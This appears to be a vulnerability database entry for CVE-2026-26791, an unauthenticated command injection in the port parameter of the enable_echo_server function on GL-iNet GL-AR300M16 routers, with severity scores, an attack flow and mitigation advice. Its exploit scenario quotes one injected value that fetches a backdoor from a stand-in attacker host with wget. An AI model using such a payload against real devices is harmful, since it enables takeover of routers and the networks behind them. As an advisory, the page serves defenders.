Ar300m16 Firmware
CVE-2026-26791
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted HTTP request to enable_echo_server
-
ExploitInject shell metacharacters in port parameter
-
ExecutionExecute arbitrary system commands
-
ImpactAchieve complete device compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | GL-iNet GL-AR300M16 running firmware v4.3.11 with enable_echo_server function accessible. No authentication required; remote unauthenticated exploitation against default network-exposed configurations. |
| Impact | CVSS 9.8 (Critical). Network vector, no auth, low complexity. Routers are perimeter devices – compromise enables traffic interception, DNS hijacking, and pivot to internal networks. EPSS 0.17%. |
| Exploit ScenarioDerived | An attacker sends a request to the GL-AR300M16 web interface with a port parameter containing shell commands (e.g., ';wget http://attacker/backdoor;'). The router executes the injected commands as root. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 12, 2026
GL-iNet GL-AR300M16 router (v4.3.11) is vulnerable to command injection through the string port parameter in the enable_echo_server function. Unauthenticated attackers can execute arbitrary commands on the router.
Earlier versions of this analysis (1)
GL-iNet GL-AR300M16 v4.3.11 allows unauthenticated command injection via the enable_echo_server function's port parameter.
RemediationAI
Update firmware when a patch is available. Restrict management interface access to trusted networks. Disable UPnP and remote management.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The enable_echo_server function passes the port parameter to a system command without sanitization (CWE-77). Shell metacharacters in the port value are interpreted by the OS, enabling arbitrary command execution on the router.
Know when Ar300m16 Firmware gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
GL-iNet GL-AR300M16 v4.3.11 was discovered to contain a command injection vulnerability via the string port parameter in the enable_echo_server function. This vulnerability allows attackers to execute arbitrary commands via a crafted input.
Executive ViewAI
GL-iNet GL-AR300M16 routers running v4.3.11 contain a critical command injection vulnerability that allows unauthenticated remote attackers to execute arbitrary commands with no patch currently available. Organizations using this router model face immediate risk of network compromise, data exfiltration, and lateral movement into corporate infrastructure.
Disable the echo_server function entirely if operationally feasible; implement strict network access controls limiting connectivity to affected routers (firewall rules, VLANs); deploy WAF/IDS rules to detect and block suspicious input to the port parameter; restrict administrative access to local/VPN only; monitor device logs for command injection patterns; consider temporary replacement with alternative router models; implement network segmentation to prevent compromised router from accessing sensitive systems.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)CVE.org
Related Vulnerabilities in GL-iNet GL-AR300M16 Command Injection
View all 3More in Ar300m16 Firmware
View allGL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/
GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/
GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/
GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/
An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated h
An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated h
An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated h
An issue was discovered on certain GL-iNet devices. Rated high severity (CVSS 7.5), this vulnerability is remotely explo
An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. Rated m
GL-iNet GL-AR300M16 v4.3.11 contains another command injection vulnerability, this time via the module parameter in the
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB